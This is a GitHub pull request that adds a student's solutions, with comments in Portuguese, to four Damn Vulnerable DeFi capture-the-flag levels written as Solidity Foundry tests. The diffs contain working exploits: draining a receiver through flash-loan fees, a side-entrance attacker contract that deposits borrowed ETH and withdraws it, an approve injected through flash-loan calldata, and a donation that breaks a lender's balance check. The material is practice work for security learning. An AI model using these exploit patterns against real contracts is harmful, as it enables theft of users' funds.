Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

NewBranch #39

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion test/Levels/naive-receiver/NaiveReceiver.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,10 @@ contract NaiveReceiver is Test {
/**
* EXPLOIT START *
*/

// 1. esgotar o saldo do contrato FlashLoanReceiver, podemos usar fees
while (address(flashLoanReceiver).balance > 0) {
naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), 1);
}
/**
* EXPLOIT END *
*/
Expand Down
51 changes: 51 additions & 0 deletions test/Levels/side-entrance/AttackerContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
// Layout of Contract:
// version
// imports
// errors
// interfaces, libraries, contracts
// Type declarations
// State variables
// Events
// Modifiers
// Functions
// Layout of Functions:
// constructor
// receive function (if exists)
// fallback function (if exists)
// external
// public
// internal
// private
// internal & private view & pure functions
// external & public view & pure functions

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.17;

// Imports
import {Utilities} from "../../utils/Utilities.sol";
import {Address} from "openzeppelin-contracts/utils/Address.sol";
import "forge-std/Test.sol";
import {SideEntranceLenderPool} from "../../../src/Contracts/side-entrance/SideEntranceLenderPool.sol";
import {IFlashLoanEtherReceiver} from "../../../src/Contracts/side-entrance/SideEntranceLenderPool.sol";

import {SideEntrance} from "./SideEntrance.t.sol";
// contract

contract Attack is IFlashLoanEtherReceiver{
SideEntranceLenderPool private immutable sideEntrance;
using Address for address payable;
constructor(address _sideEntrance){
sideEntrance = SideEntranceLenderPool(_sideEntrance);
}
function execute() external payable{
sideEntrance.deposit{value:msg.value}();
}

function attack() external{
sideEntrance.flashLoan(address(sideEntrance).balance);
sideEntrance.withdraw();
payable(msg.sender).sendValue(address(this).balance);
}
receive() external payable {}
}
8 changes: 7 additions & 1 deletion test/Levels/side-entrance/SideEntrance.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {SideEntranceLenderPool} from "../../../src/Contracts/side-entrance/SideEntranceLenderPool.sol";
import {Attack} from "./AttackerContract.sol";

contract SideEntrance is Test {
uint256 internal constant ETHER_IN_POOL = 1_000e18;
Expand Down Expand Up @@ -36,6 +36,12 @@ contract SideEntrance is Test {
/**
* EXPLOIT START *
*/
// usar o eth transferido para retirar mais eth do contrato
// 1. impletar o ataque
vm.startPrank(attacker);
Attack attack_contract = new Attack(address(sideEntranceLenderPool));
attack_contract.attack();
vm.stopPrank();

/**
* EXPLOIT END *
Expand Down
17 changes: 17 additions & 0 deletions test/Levels/truster/Truster.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,23 @@ contract Truster is Test {
/**
* EXPLOIT START *
*/
// 1. Criar o approve
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
TOKENS_IN_POOL
);

trusterLenderPool.flashLoan(0, attacker, address(dvt), data);

// 2. ver o allowance
uint256 allowance = dvt.allowance(address(trusterLenderPool), attacker);
console.log("Allowance after approve:", allowance);

// 3. executar a transferência
vm.startPrank(attacker);
dvt.transferFrom(address(trusterLenderPool), attacker, TOKENS_IN_POOL);
vm.stopPrank();

/**
* EXPLOIT END *
Expand Down
4 changes: 3 additions & 1 deletion test/Levels/unstoppable/Unstoppable.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";
import "../../../lib/forge-std/src/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {UnstoppableLender} from "../../../src/Contracts/unstoppable/UnstoppableLender.sol";
Expand Down Expand Up @@ -60,6 +60,8 @@ contract Unstoppable is Test {
/**
* EXPLOIT START *
*/
//1. colocar fundos no contrato unstoppableLender para quebrar a validação
dvt.transfer(address(unstoppableLender), 1);
/**
* EXPLOIT END *
*/
Expand Down